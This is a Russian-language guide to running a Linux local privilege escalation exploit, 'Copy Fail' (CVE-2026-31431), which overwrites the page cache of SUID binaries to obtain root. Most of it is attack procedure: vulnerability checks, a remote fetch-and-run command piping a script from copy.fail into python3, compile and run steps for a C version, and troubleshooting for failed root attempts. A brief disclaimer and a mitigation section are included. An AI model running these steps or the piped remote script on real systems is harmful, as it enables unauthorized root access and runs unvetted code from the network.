Copy Fail (CVE-2026-31431) – Руководство по использованию эксплойта

⚠️ Дисклеймер

Данный материал предназначен только для образовательных целей и авторизованного тестирования безопасности. НЕ запускайте это на системах без явного разрешения.

📌 Обзор

Copy Fail (CVE-2026-31431) — это уязвимость локального повышения привилегий (LPE) в Linux, затрагивающая криптографический API ядра через AF_ALG.

Она позволяет непривилегированному пользователю перезаписать данные page cache SUID-бинарника (например, /usr/bin/su) и получить root-доступ.

🧠 Требования

Системные требования

• Ядро Linux (уязвимое — зависит от статуса патча)
• Включённый AF_ALG
• Загруженный модуль algif_aead

Требования к Python-эксплойту

• Python 3.10+
• Поддержка:
  • os.splice
  • socket(AF_ALG)

🔍 Проверка уязвимости

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Ожидаемые индикаторы:

• authencesn(hmac(sha256),cbc(aes))
• Загруженный algif_aead

🐍 Запуск Python-эксплойта

1. Запуск напрямую

python3 copy_fail_exp.py

2. Или через curl (если размещён удалённо)

curl https://copy.fail/exp | python3

3. Запуск root-оболочки

su
id

Ожидаемый результат:

uid=0(root)

⚠️ Частые проблемы (Python)

❌ Ошибка: os.splice not found

Причина:

• Версия Python < 3.10
• Ограниченная сборка

Решение:

• Используйте более новую версию Python
• Загрузите статический интерпретатор Python

⚙️ Компиляция C-версии

1. Компиляция

gcc copy_fail_exp.c -o copy_fail

2. Сделать исполняемым

chmod +x copy_fail

3. Запуск эксплойта

./copy_fail
su

⚠️ Частые проблемы (C)

❌ Эксплойт запускается, но root не получен

Возможные причины:

• Ядро пропатчено
• Неверные смещения
• Несоответствие окружения

❌ Ошибки компиляции

Установите необходимые инструменты:

apt update && apt install build-essential

🧪 Устранение неполадок

Проверка, пропатчена ли система

dmesg | grep -i alg

Проверка модуля

lsmod | grep algif_aead

🛡️ Меры защиты

Отключение уязвимого модуля

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Применение патча ядра

Обновите систему:

apt update && apt upgrade

📌 Примечания

• Эксплойт изменяет только page cache (непостоянно)
• Требуется локальный доступ
• По умолчанию не эксплуатируется удалённо

🧠 Финальное замечание

Если эксплойт не сработал, рассмотрите:

• Ядро уже пропатчено
• Ограничения окружения
• Альтернативные векторы повышения привилегий (SUID, capabilities, ошибки конфигурации sudo)

📚 Ссылки

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Примечания автора

Используйте этот эксплойт ответственно — только в лабораториях, на CTF-соревнованиях и в авторизованных пентестах.